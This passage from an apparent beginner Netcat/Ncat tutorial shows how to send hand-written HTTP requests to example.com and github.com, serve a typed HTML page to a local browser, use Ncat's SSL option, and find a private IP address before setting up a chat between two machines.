<p class="neon-border"><strong>Note:</strong> I&#8217;m using <strong>Ncat</strong> throughout this article. If you&#8217;re using&nbsp;<strong>Netcat</strong>, your output for the above command may look like this:<br><br><code>Connection to example.com 80 port [tcp/http] succeeded!</code></p>



<p class="purple-border">Here, we created a client with Ncat connecting to the <strong>example.com</strong> server on port 80.<br><br>Once you run this command <strong>you’ll see nothing is happening</strong> after this.<br><br>This just means that you’ve connected with the server.<br><br>It might feel unusual because most of us are used to a <strong>prompt symbol</strong> that indicates the system&#8217;s readiness to perform the next command, but this is just how it works with Netcat/Ncat.</p>



<p>Now you can request the server and then get a response.</p>



<p>Let’s try to send something to the server.</p>



<p>Type in some text after the output texts shown above and <strong>hit Enter twice</strong> (this is because some requests require multiple lines, so the first <code>Enter</code> is a newline, and the second one it sends the request). It can be any text. I&#8217;ll just write <code>hi</code>.</p>



<p>Let’s see what response we get from the server:</p>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="3" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">Warning: inverse host lookup failed for 93.184.216.34: Unknown host
example.com [93.184.216.34] 80 (http) open
hi

HTTP/1.0 501 Not Implemented 
Content-Type: text/html 
Content-Length: 357 
Connection: close 
Date: Sat, 10 Jul 2021 20:07:39 GMT 
Server: ECSF (dcb/7F60) 

&amp;lt;?xml version="1.0" encoding="iso-8859-1"?&amp;gt; 
&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&amp;gt;
&amp;lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"&amp;gt;
&amp;lt;head&amp;gt; 
&amp;lt;title&amp;gt;501 - Not Implemented&amp;lt;/title&amp;gt; 
&amp;lt;/head&amp;gt; 
&amp;lt;body&amp;gt; 
&amp;lt;h1&amp;gt;501 - Not Implemented&amp;lt;/h1&amp;gt; 
&amp;lt;/body&amp;gt; 
&amp;lt;/html&amp;gt; 
</pre>



<p>We sent <code>hi</code> to the server and then the server sent us the response that you can see in the output. The server sent us the Status code <code>501 Not Implemented</code> which means the server does not support the functionality to fulfill our request.</p>



<p>That’s a given. Let’s request something that a server understands.</p>



<h4 id="http-requests-with-netcat" class="wp-block-heading">HTTP Requests with Netcat</h4>



<p>If you know anything about HTTP requests then you should know that your browser performs a GET request to show you a webpage. After you have connected to the server, your browser sends special messages to the server with the request and the server responds accordingly.</p>



<p>cURL is a very good utility that can perform any HTTP requests (we also have a tutorial on cURL if you&#8217;re interested <a href="https://bytexd.com/basics-http-requests-curl-tutorial/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Basics of HTTP Requests with cURL: An In-Depth Tutorial<span class="wpel-icon wpel-image wpel-icon-19"></span></a>).</p>



<p>Let’s find out what it sends to get a response back from the server.</p>



<p>Run the <code>curl</code> command in a verbose mode (<code>-v</code>) and set the <code>-I</code> flag or <code>--head</code> option to only see the Request and Response Headers:</p>



<pre class="wp-block-preformatted prompt">curl -v -I example.com</pre>


<div class="codeblock-title">Output</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="1-3,5-9" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">*   Trying 93.184.216.34:80...
* TCP_NODELAY set
* Connected to example.com (93.184.216.34) port 80 (#0)

> HEAD / HTTP/1.1
> Host: example.com
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
&lt; HTTP/1.1 200 OK
HTTP/1.1 200 OK
&lt; Accept-Ranges: bytes
Accept-Ranges: bytes
&lt; Age: 443586
Age: 443586
&lt; Cache-Control: max-age=604800
Cache-Control: max-age=604800
&lt; Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8
&lt; Date: Sat, 10 Jul 2021 20:16:51 GMT
Date: Sat, 10 Jul 2021 20:16:51 GMT
&lt; Etag: "3147526947"
Etag: "3147526947"
&lt; Expires: Sat, 17 Jul 2021 20:16:51 GMT
Expires: Sat, 17 Jul 2021 20:16:51 GMT
&lt; Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
&lt; Server: ECS (dcb/7F38)
Server: ECS (dcb/7F38)
&lt; X-Cache: HIT
X-Cache: HIT
&lt; Content-Length: 1256
Content-Length: 1256

&lt;
* Connection #0 to host example.com left intact</pre>



<p>As you can see in the output, lines <strong>1 to 3</strong> are the Connection part. The next section, lines <strong>5 to 9</strong>,&nbsp; is the request that curl, which in this case is our client, sent to the server. The later section is the <strong>Response Header</strong> that the server sent back.</p>



<p>Now, when you’re running Netcat, the <strong>lines 1 to 3</strong> portion is being performed at first. Then you can talk to the server. Let’s generate the same response using Netcat.</p>



<p>To get the response from the server, we have to craft the request message first. The head request portion of the output from the curl command is:</p>


<div class="codeblock-title">HEAD Request</div>



<pre class="wp-block-preformatted">HEAD / HTTP/1.1
Host: example.com
User-Agent: curl/7.74.0
Accept: */*</pre>



<p>Now let’s connect Netcat to <strong>example.com</strong> again.</p>



<pre class="wp-block-preformatted prompt">nc -v example.com 80</pre>



<p>Now copy and paste the above portion (the GET Request), after the the <code>Ncat: Connected to 93.184.216.34:80</code>. output, in the Netcat terminal and hit <code>Enter</code> twice.</p>


<div class="codeblock-title">Request (lines 3-6), along with output (lines 8-19)</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="3-6" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 93.184.216.34:80.
HEAD / HTTP/1.1
Host: example.com
User-Agent: curl/7.74.0
Accept: */*

HTTP/1.1 200 OK
Age: 594540
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Sat, 10 Jul 2021 22:33:44 GMT
Etag: "3147526947+ident"
Expires: Sat, 17 Jul 2021 22:33:44 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (dcb/7EA3)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1256</pre>



<p>This is great! You’ve just got the same <strong>Request and Response Headers</strong> that you got using cURL as your client.</p>



<p class="neon-border"><strong>Important:</strong> At first glance this response may not look the same as with cURL, because the cURL response has duplicate lines &#8211; if you look closely, the responses are near identical.</p>



<p>Let’s try <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/OPTIONS" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">OPTIONS<span class="wpel-icon wpel-image wpel-icon-19"></span></a> request instead of <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/HEAD" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">HEAD<span class="wpel-icon wpel-image wpel-icon-19"></span></a> request. This time we’ll just type the request in, since it&#8217;s shorter.</p>



<p>First we&#8217;ll connect to the&nbsp;<strong>example.com</strong> server.</p>



<pre class="wp-block-preformatted prompt">nc -v example.com 80</pre>



<p>We&#8217;ll get the usual output:</p>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 93.184.216.34:80.</pre>



<p>After which we&#8217;ll just write the OPTIONS request <code>OPTIONS / HTTP/1.0</code> and press <code>Enter</code> twice:</p>


<div class="codeblock-title">Request (line 3) and Output after that</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="3" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 93.184.216.34:80.
OPTIONS / HTTP/1.0

HTTP/1.0 200 OK
Allow: OPTIONS, GET, HEAD, POST
Date: Sun, 11 Jul 2021 11:34:16 GMT
Server: ECS (dcb/7F14)
Content-Length: 0
Connection: close</pre>



<h4 id="using-printf-and-piping-with-netcat" class="wp-block-heading">Using Printf and Piping with Netcat</h4>



<p class="orange-border"><strong>Important Note: </strong>Sometimes you might get some error while typing the requests inside Netcat. That is because HTTP requests require certain formatting with <strong>Line Endings</strong>.<br><br>There also may be other reasons that your requests don&#8217;t work, as such it&#8217;s good to know that you have an alternative method of making requests and sending them through Netcat.</p>



<p>You can also try any request <strong>piping the output of printf</strong> command into Netcat.</p>



<p>To do this, run the following command outside of Netcat:</p>



<pre class="wp-block-preformatted prompt">printf "HEAD / HTTP/1.1\r\nUser-Agent: curl/7.74.0\r\nHost: example.com\r\nAccept: */*\r\n\r\n" | nc example.com 80</pre>



<p>In this command, <code>\r</code> create the new lines for the HTTP request.</p>



<p>These are called carriage return (<strong>cr</strong>) and line feed (<strong>lf</strong>). These names are derived from the age of typewriters.</p>



<p>You basically sent the same HEAD request as before, but wrote it on one line.</p>



<pre class="wp-block-preformatted">HEAD / HTTP/1.1
Host: example.com
User-Agent: curl/7.74.0
Accept: */*</pre>



<p>Becomes:</p>



<pre class="wp-block-preformatted">HEAD / HTTP/1.1\r\nUser-Agent: curl/7.74.0\r\nHost: example.com\r\nAccept: */*\r\n\r\n</pre>



<p>After that, we use the <code>printf</code> command (<strong>print f</strong>ormatted), which properly formats our the request, so then we pass it on to Netcat through <a href="https://www.geeksforgeeks.org/piping-in-unix-or-linux/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">piping (the | symbol)<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<h3 id="creating-a-server-with-netcat" class="wp-block-heading">Creating a Server with Netcat</h3>



<p>In previous sections, we showed you how to create a client with Netcat.</p>



<p class="neon-border">You essentially learned what a browser does to request a webpage from the server.</p>



<p>Now we’ll show you how the server responds with the help of Netcat.</p>



<p>Netcat can start listening on any port you specify. This is what gives it the ability to create a server on the fly.</p>



<p>Let’s learn how to listen on a port with netcat before we get started.</p>



<h4 id="listening-on-a-port-with-netcat" class="wp-block-heading">Listening on a port with Netcat</h4>



<p>You can see the available options Netcat offers by simply typing in <code>nc -h</code>. By default, netcat creates TCP connections. You can create UDP connections using the <code>-u</code> flag. However, we’ll use the default TCP connection for now.</p>



<p>The <code>-l</code> flag can be used for listening and the <code>-p</code> flag is for specifying the port to listen on.</p>



<p>Let’s look at an example. We’ll make netcat listen on port 4000 by combining the two flags together:</p>



<pre class="wp-block-preformatted prompt">nc -lp 4000</pre>



<p>This command will make netcat start listening on port 4000. But you&#8217;ll only see the cursor blinking.</p>



<p>You can use the keyboard interrupt <strong>CTRL + C</strong> to stop the command.</p>



<p>Let’s turn on the verbose output by combining the <code>-v</code> flag:</p>



<pre class="wp-block-preformatted prompt">nc -vlp 4000</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>Now you will see netcat telling you that it’s listening on port 4000. This is how you start listening on any port.</p>



<h4 id="creating-a-simple-web-server-with-netcat" class="wp-block-heading">Creating a simple web server with Netcat</h4>



<p>Now that you know how to listen on ports with Netcat, let’s try to create a simple webserver with netcat. You’ll learn how a server responds to a client in this section.</p>



<p>First, let’s start a Netcat listening on port 5000 in verbose mode:</p>



<pre class="wp-block-preformatted prompt">nc -vlp 5000</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::5000
Ncat: Listening on 0.0.0.0:5000</pre>



<p>Now fire up your browser and try connecting on this port. Type <code>localhost:5000/</code> in your browser. Hit enter and take a look at your terminal window running Netcat. You&#8217;ll see the browser request directly showing up in your Netcat terminal:</p>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:46830.
GET / HTTP/1.1
Host: localhost:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
</pre>



<div class="wp-block-group purple-border is-layout-flow wp-block-group-is-layout-flow">
<p><strong>Side note</strong>: You can tell from the <strong>User-Agent</strong> value, which is <code>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8</code>. You can also use a tool that analyzes user agent strings such as this <a href="https://developers.whatismybrowser.com/useragents/parse/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">https://developers.whatismybrowser.com/useragents/parse/<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, to find out. Just paste in the user agent string in the input field and click <code>Parse this user agent</code>.<br><br></p>



<p>Interesting, isn’t it? Can you guess which browser I’m using? It’s Firefox 89 on Ubuntu Linux.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1024" height="514" src="https://nooblinux.com/wp-content/uploads/2021/10/parse_useragent-1024x514-1.webp" alt="" class="wp-image-3468" srcset="https://nooblinux.com/wp-content/uploads/2021/10/parse_useragent-1024x514-1.webp 1024w, https://nooblinux.com/wp-content/uploads/2021/10/parse_useragent-1024x514-1-300x151.webp 300w, https://nooblinux.com/wp-content/uploads/2021/10/parse_useragent-1024x514-1-768x386.webp 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
</div>



<p>Now that the client (Firefox) has requested the server (netcat) you can do more cool things.</p>



<p>You can start typing in the response Firefox will get.</p>



<p>However, you need to speak the language of the browser! Otherwise, you won’t see the output.</p>



<p>Remember the response Header we got from example.com in the previous section? Let’s take a look:</p>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="1,4,9" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">HTTP/1.1 200 OK
Age: 594540
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Sat, 10 Jul 2021 22:33:44 GMT
Etag: "3147526947+ident"
Expires: Sat, 17 Jul 2021 22:33:44 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (dcb/7EA3)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1256</pre>



<p>As always, the status code is the first line of the response. We do not require all of the responses, however.</p>



<p>We’ll just use the Status code, Content-Type and Server, which I&#8217;ve highlighted.</p>



<p>With that let’s try to construct our server message:</p>



<pre class="wp-block-preformatted">HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: nooblinux</pre>



<p>After typing this in hit enter twice and create a new empty line.</p>



<p>Next, you’ll type in the HTML page yourself and see it showing up on the browser in real-time! We’ll create a title for our page in real-time. If you know the HTML you can do it yourself. You can also copy this in your terminal.</p>



<p>The message should look something like this:</p>



<pre class="wp-block-preformatted">HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: nooblinux

&lt;!doctype html&gt;
&lt;title&gt;NoobLinux&lt;/title&gt;</pre>



<p>Hit enter and you’ll see the browser tab change from <code>localhost:5000</code> to <code>NoobLinux</code>. Here&#8217;s a quick video of me doing that, in case this is a bit confusing:</p>



<a href="https://nooblinux.com/how-to-use-netcat/" data-wpel-link="internal"><img decoding="async" src="https://nooblinux.com/wp-content/plugins/wp-youtube-lyte/lyteCache.php?origThumbUrl=%2F%2Fi.ytimg.com%2Fvi%2Fq-eg3VFlM1E%2Fhqdefault.jpg" alt="YouTube Video"></a><br /><br /></p>



<p>Cool! Now let’s do more. Create a heading with <code>&lt;h1&gt;&lt;/h1&gt;</code> tags.</p>



<pre class="wp-block-preformatted">HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: nooblinux

&lt;!doctype html&gt;
&lt;title&gt;NoobLinux&lt;/title&gt;
&lt;h1&gt;Can you see me?&lt;/h1&gt;</pre>



<p>Hit enter and voila! You’ll see the heading appearing in the browser in real-time.</p>



<figure class="wp-block-image alignnone size-full size-large wp-image-4401"><img loading="lazy" decoding="async" width="898" height="416" src="https://nooblinux.com/wp-content/uploads/2021/10/can_you_see_me.png" alt="" class="wp-image-3336" srcset="https://nooblinux.com/wp-content/uploads/2021/10/can_you_see_me.png 898w, https://nooblinux.com/wp-content/uploads/2021/10/can_you_see_me-300x139.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/can_you_see_me-768x356.png 768w" sizes="auto, (max-width: 898px) 100vw, 898px" /><figcaption>Added &#8220;&lt;h1&gt;Can you see me?&lt;/h1&gt;&#8221;</figcaption></figure>



<p>You can keep playing like this and the browser will show output according to your messages.</p>



<p>Lastly, we&#8217;ll do a final example where we add a photo:</p>



<pre class="wp-block-preformatted">HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: nooblinux

&lt;!doctype html&gt;
&lt;title&gt; NoobLinux &lt;/title&gt;
&lt;h1&gt;Can you see me?&lt;/h1&gt;
&lt;img src="https://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/Image_created_with_a_mobile_phone.png/1280px-Image_created_with_a_mobile_phone.png"&gt;</pre>



<figure class="wp-block-image alignnone size-large wp-image-4402"><img loading="lazy" decoding="async" width="1024" height="539" src="https://nooblinux.com/wp-content/uploads/2021/10/added_photo_netcat-1-1024x539.png" alt="" class="wp-image-3341" srcset="https://nooblinux.com/wp-content/uploads/2021/10/added_photo_netcat-1-1024x539.png 1024w, https://nooblinux.com/wp-content/uploads/2021/10/added_photo_netcat-1-300x158.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/added_photo_netcat-1-768x404.png 768w, https://nooblinux.com/wp-content/uploads/2021/10/added_photo_netcat-1.png 1165w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption>Added an image from Wikimedia Commons in the HTML.</figcaption></figure>



<h3 id="communicating-over-ssl-with-ncat" class="wp-block-heading">Communicating over SSL with Ncat</h3>



<p>You can receive as well as create any connections over TCP and UDP protocols with Netcat. The traditional Netcat does not support SSL encryption and HTTPS. Ncat, however, comes with SSL support.</p>



<p>We can activate it by using the <code>--ssl</code> flag. If you haven’t installed Ncat, <a href="https://nooblinux.com/how-to-use-netcat/#installing-traditional-netcat-ncat" data-wpel-link="internal">now would be a good time</a>.</p>



<p>Now we&#8217;ll play with sending a HEAD request to <code>github.com</code> and see how to activate SSL support, and what happens when we don&#8217;t.</p>



<p>First we&#8217;ll send a HEAD request like we did in the beginning of the tutorial, to the <code>github.com</code> server, on port <code>80</code>.</p>



<p>We&#8217;ll make the request by sending it from <code>print</code> by <a href="https://nooblinux.com/how-to-use-netcat/#using-printf-and-piping-with-netcat" data-wpel-link="internal">using printf and piping with Netcat</a> (remember when we discussed this earlier).</p>



<pre class="wp-block-preformatted prompt">printf 'HEAD / HTTP/1.1\r\nHost: github.com\r\n\r\n' | nc -v github.com 80</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 140.82.121.4:80.
HTTP/1.1 301 Moved Permanently
Content-Length: 0
Location: https://github.com/</pre>



<p>You can see that the <strong>github.com</strong> server gives us the <code>status code 301</code>, which means a redirect should be done.</p>



<p>Indeed, the github server accepts connection only with HTTPS or SSL encryption with the HTTP requests.</p>



<p>Let’s try using the port 443 as we know it is for HTTPS.</p>



<pre class="wp-block-preformatted prompt">printf 'HEAD / HTTP/1.1\r\nHost: github.com\r\n\r\n' | nc -v github.com 443</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 140.82.121.4:443.
Ncat: 37 bytes sent, 0 bytes received in 0.26 seconds.</pre>



<p>It also fails this time. This is because <code>ncat</code> is sending requests without SSL encryption. We have to enable SSL encryption.</p>



<p>Type the following command using the <code>--ssl</code> flag of the Ncat command:</p>



<pre class="wp-block-preformatted prompt">printf 'HEAD / HTTP/1.1\r\nHost: github.com\r\n\r\n' | nc -v --ssl github.com 443</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: SSL connection to 140.82.121.4:443. GitHub, Inc.
Ncat: SHA-1 fingerprint: 8463 B3A9 2912 CCFD 1D31 4705 989B EC13 9937 D0D7
HTTP/1.1 200 OK
Server: GitHub.com
Date: Mon, 12 Jul 2021 00:38:44 GMT
Content-Type: text/html; charset=utf-8
Vary: X-PJAX, Accept-Language, Accept-Encoding, Accept, X-Requested-With
permissions-policy: interest-cohort=()
ETag: W/"94946c032884213d15c51f6ed29ed03e"
Cache-Control: max-age=0, private, must-revalidate
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
X-Frame-Options: deny
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin
Expect-CT: max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"
Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events translator.github.com wss://alive.github.com github.githubassets.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com render-temp.githubusercontent.com viewscreen.githubusercontent.com; img-src 'self' data: github.githubassets.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com secured-user-images.githubusercontent.com/ *.githubusercontent.com customer-stories-feed.github.com spotlights-feed.github.com; manifest-src 'self'; media-src github.githubassets.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/socket-worker-3f088aa2.js gist.github.com/socket-worker-3f088aa2.js
Set-Cookie: _gh_sess=tYm0qZ0oXFzUG8Dc2YucTOhIJuxeFGVTx4tGW%2FZcYx4QI9MrYoSWsuVvGqMCZh0YG7eUdsDe6231%2FnGMLJsxNjhkF3mNyblLnF8mPQX%2BVltD6E98n0Tih9DUf2I49lYyOCjp6UvUewn1NAYW%2FGOKFUn8%2F2dUvHBJQ%2F3UKEE%2F9w97caNikSZDtZxnaF91O8H0AV%2FkKuUVwJASOsxJviza87B13bE9eLfzMej9ndm2Ywb5yfTUEYccO3sPjRHp7UkSWnRFkt5LHuAEMg81QCCgmA%3D%3D--cVgPJ6RLH%2FItXYgz--Rk9K72INktZw6RibFZJoxA%3D%3D; Path=/; HttpOnly; Secure; SameSite=Lax
Set-Cookie: _octo=GH1.1.1661960893.1626050330; Path=/; Domain=github.com; Expires=Tue, 12 Jul 2022 00:38:50 GMT; Secure; SameSite=Lax
Set-Cookie: logged_in=no; Path=/; Domain=github.com; Expires=Tue, 12 Jul 2022 00:38:50 GMT; HttpOnly; Secure; SameSite=Lax
Accept-Ranges: bytes
X-GitHub-Request-Id: 041C:0BCA:7B79525:7FD6376:60EB8F1A

Ncat: 37 bytes sent, 2595 bytes received in 0.26 seconds.</pre>



<p>As you can see, now the output is showing correctly. We can also see the cookie and some encryption information as well in the header.</p>



<p>Sometimes you’ll require a certificate to connect to the host. You can create an SSL Certificate and SSL key with <code>--ssl-cert</code> and <code>--ssl-key</code> respectively. Find more on this on the Ncat user manual’s <a href="https://nmap.org/ncat/guide/ncat-ssl.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">SSL page<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<h2 id="creating-a-simple-chat-using-netcat" class="wp-block-heading">Creating a simple chat using Netcat</h2>



<p>Now that you know how to create a client and a server with Netcat, let’s build both and create a chatting functionality between them.</p>



<p>You can do this over remote network machines or within your local network. We&#8217;ll just need two computers that can run Netcat (it can be a computer, virtual machine or phone with a terminal and netcat installed)</p>



<p class="black-bg"><strong>What we&#8217;ll do:</strong> On the first machine (doesn&#8217;t matter which) we&#8217;ll just run the command to create a server and listen on a port, in our case 4000. On the second machine we&#8217;ll run the command to connect to the first machine&#8217;s IP and port, thereby establishing the connection. From there we can just write messages from one machine and they&#8217;ll instantly appear on the other.</p>



<p>Let’s get started.</p>



<h3 id="within-your-local-network" class="wp-block-heading">Within your local network</h3>



<p>For our example, I&#8217;ll create a chat with a VMware virtual machine running Ubuntu 20.04.</p>



<p class="black-bg">You can try out the same thing, or you can use machines connected to your WiFi &#8211; such as if you have multiple computers that can have Netcat installed on them, or an Android phone running <a href="https://opensource.com/article/20/8/termux" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Termux<span class="wpel-icon wpel-image wpel-icon-19"></span></a> (installed from <a href="https://f-droid.org/packages/com.termux/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">f-droid.org<span class="wpel-icon wpel-image wpel-icon-19"></span></a> on which you can install Netcat).<br><br>Most likely there are options for iOS, and other operating systems as well, however I haven&#8217;t tried them myself.</p>



<p>Make sure both the machines have Netcat installed.</p>



<p>First, figure out the <strong>private IP address</strong> (IPv4) of the computer where we&#8217;ll run the server on, because we&#8217;ll need to know it so we can connect to it from the second computer.</p>



<h4 id="finding-your-private-ip-address" class="wp-block-heading">Finding your private IP address</h4>



<div class="wp-block-group neon-border is-layout-flow wp-block-group-is-layout-flow">
<p>Your <strong>private IP address</strong> is different than your <strong>public IP address</strong> [which is the IP address most of us are familiar with].</p>



<p>A <strong>private</strong><strong> IP address</strong> is an IP address used within a private network, such as your home network (unlike the <strong>public IP address</strong> which you would use to access the internet).</p>



<p>Typically, <em>a private IP address is assigned to each device connected to your local network by your router</em>. Say you have multiple computers and phones, a printer and a smart TV &#8211; all of them are assigned a private IP address.</p>



<p>IP ranges used by private networks are, so your private IP address should be from one of those ranges.</p>



<ul class="wp-block-list"><li>10.0.0.0/8</li><li>172.16.0.0/12</li><li>192.168.0.0/16</li></ul>
</div>



<p>On Linux, you can determine your private IP address using command such as <code>ip addr</code>, <code>ifconfig</code> or <code>hostname -I</code> (uppercase <strong>I</strong>).</p>



<h5 id="determine-your-private-ip-address-using-ip-addr-or-ifconfig" class="wp-block-heading">Determine your private IP address using ip addr or ifconfig</h5>



<p>We&#8217;ll use <code>ip addr</code> since it&#8217;s meant to be a replacement for <code>ifconfig</code>, and <strong>ifconfig</strong> may not come pre-installed on recent Linux systems.</p>



<p>When you run it, the system will display all your network interfaces.</p>



<pre class="wp-block-preformatted prompt">ip addr</pre>


<div class="codeblock-title">Output</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="10" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:12:e9:70 brd ff:ff:ff:ff:ff:ff
    altname enp2s1
    inet 192.168.145.131/24 brd 192.168.145.255 scope global dynamic noprefixroute ens33
       valid_lft 992sec preferred_lft 992sec
    inet6 fe80::c567:c033:897f:58ea/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever</pre>



<p>What we&#8217;re interested in is what comes after <code>inet</code> in the details for the network interface that we&#8217;re using.</p>



<p>Your output may display more network interfaces, such as <code>eth0</code>, <code>wlan0</code> and so on.</p>



<p>To determine the network interface that you&#8217;re using you can use the <code>route</code> command:</p>



<pre class="wp-block-preformatted prompt">route</pre>


<div class="codeblock-title">Output</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="3" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         _gateway        0.0.0.0         UG    100    0        0 ens33
link-local      0.0.0.0         255.255.0.0     U     1000   0        0 ens33
192.168.145.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33</pre>



<p>The <code>Iface</code> column on the same line with <strong>default</strong> in the <code>Destination</code> column should tell you the interface that you are using (the highlighted line).</p>



<p>As we can see, the interface I&#8217;m using is <code>ens33</code>, and if we look up to the output from where I ran <strong>ip addr</strong>, under <strong>ens33</strong> and after <strong>inet</strong> we see <code>192.168.145.131</code>.</p>



<p>So my private IP address is <code>192.168.145.131</code>.</p>



<h5 id="determine-your-private-ip-address-using-hostname-i" class="wp-block-heading">Determine your private IP address using hostname -I</h5>



<p>You can also easily display your private IP address using <code>hostname -I</code> (uppercase <strong>I</strong>), however you will be shown multiple IPs if you have multiple configured interfaces.</p>



<p>For example, when I run it on the same machine as before, I get a quick and clean private IP address in the output.</p>



<pre class="wp-block-preformatted prompt">hostname -I</pre>


<div class="codeblock-title">Output Machine 1</div>



<pre class="wp-block-preformatted">192.168.145.131</pre>



<p>However, when I run it on a different machine:</p>


<div class="codeblock-title">Output Machine 2</div>



<pre class="wp-block-preformatted">10.0.2.15 192.168.33.10</pre>



